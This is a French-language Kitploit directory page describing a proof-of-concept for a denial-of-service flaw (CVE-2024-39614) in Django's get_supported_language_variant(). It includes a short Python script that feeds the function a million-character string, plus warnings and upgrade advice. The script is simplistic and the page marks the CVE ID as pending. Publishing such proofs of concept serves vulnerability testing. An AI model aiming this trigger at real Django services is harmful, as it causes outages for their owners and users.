Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
-CVE-2024-39614 — Preuve de concept d'exploit pour CVE-2024-39614, une vulnérabilité de déni de service dans la fonction get_supported_language_variant() de Django affectant les versions 5.0<5.0.7 et 4.2<4.2.14. | Kitploit
Outils/GitHubGitHub/abdurahmon3236/-cve-2024-39614
Analyse des VulnérabilitésExploitationSécurité WebTests d'Intrusion
GitHubabdurahmon3236/-cve-2024-39614

-CVE-2024-39614

Preuve de concept d'exploit pour CVE-2024-39614, une vulnérabilité de déni de service dans la fonction get_supported_language_variant() de Django affectant les versions 5.0<5.0.7 et 4.2<4.2.14.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
1il y a 2 ansPas encore vérifié

Preuve de concept (PoC) pour une vulnérabilité de déni de service dans Django

Ce dépôt contient un script de preuve de concept (PoC) démontrant une vulnérabilité de déni de service (DoS) dans les versions de Django 5.0 antérieures à 5.0.7 et 4.2 antérieures à 4.2.14. La vulnérabilité réside dans la fonction get_supported_language_variant(), qui est sensible à une attaque DoS potentielle lorsqu'elle traite de très longues chaînes contenant des caractères spécifiques.

Table des matières

  • Description de la vulnérabilité
  • Configuration et utilisation
    • Script PoC
  • Considérations importantes
  • Atténuation

Description de la vulnérabilité

CVE-ID: (En attente)

Aperçu : La fonction get_supported_language_variant() dans les versions de Django 5.0 antérieures à 5.0.7 et 4.2 antérieures à 4.2.14 est vulnérable à une attaque par déni de service. Cette fonction peut être exploitée en envoyant de très longues chaînes contenant des caractères spécifiques, ce qui pourrait entraîner un épuisement des ressources et, par conséquent, une condition de déni de service.

Versions concernées :

  • Django 5.0 avant 5.0.7
  • Django 4.2 avant 4.2.14

Versions corrigées :

  • Django 5.0.7
  • Django 4.2.14

Configuration et utilisation

Prérequis

  • Python 3.x
  • Django installé (pip install django)

Script PoC

Ce script montre comment un attaquant peut exploiter la vulnérabilité en envoyant une très longue chaîne à la fonction get_supported_language_variant().

Enregistrez le script suivant sous le nom dos_poc.py et exécutez-le.

root@kitploit:~
import django
from django.utils.translation import get_supported_language_variant

# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
    print("[-] This Django version is vulnerable to the DoS attack.")
else:
    print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")

# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!'  # Adjust the length and content as necessary

def test_dos_vulnerability():
    try:
        # Trigger the vulnerability
        get_supported_language_variant(very_long_string)
        print("[+] Successfully called get_supported_language_variant with a very long string.")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    test_dos_vulnerability()

Explication

  1. Vérification de la version de Django : Le script vérifie d'abord si la version de Django installée est vulnérable à l'attaque DoS.
  2. Génération d'une très longue chaîne : Une très longue chaîne contenant des caractères spécifiques est générée. Ajustez la longueur et le contenu si nécessaire pour déclencher la vulnérabilité.
  3. Fonction de test : La fonction test_dos_vulnerability() appelle get_supported_language_variant() avec la très longue chaîne pour tester la vulnérabilité.
  4. Exécution du script : Lors de son exécution, le script tente d'exploiter la vulnérabilité et affiche les résultats.

Considérations importantes

  • Autorisations : Assurez-vous d'avoir l'autorisation explicite de tester cette vulnérabilité sur le système cible. Les tests non autorisés sont illégaux et contraires à l'éthique.
  • Environnement de test : Effectuez ce test dans un environnement contrôlé pour éviter d'impacter les systèmes de production.
  • Consommation de ressources : Ce PoC peut consommer des ressources système importantes. Surveillez votre système et soyez prêt à arrêter le script si nécessaire.

Atténuation

Pour atténuer cette vulnérabilité, mettez à niveau vers les versions corrigées de Django :

  • Django 5.0.7
  • Django 4.2.14

Suivez les instructions officielles de mise à niveau de Django pour mettre à jour votre installation de Django vers la version sécurisée la plus récente.

En maintenant vos logiciels à jour et en suivant les bonnes pratiques de sécurité, vous pouvez prévenir des vulnérabilités telles que ce problème DoS dans Django.

Télécharger l’outil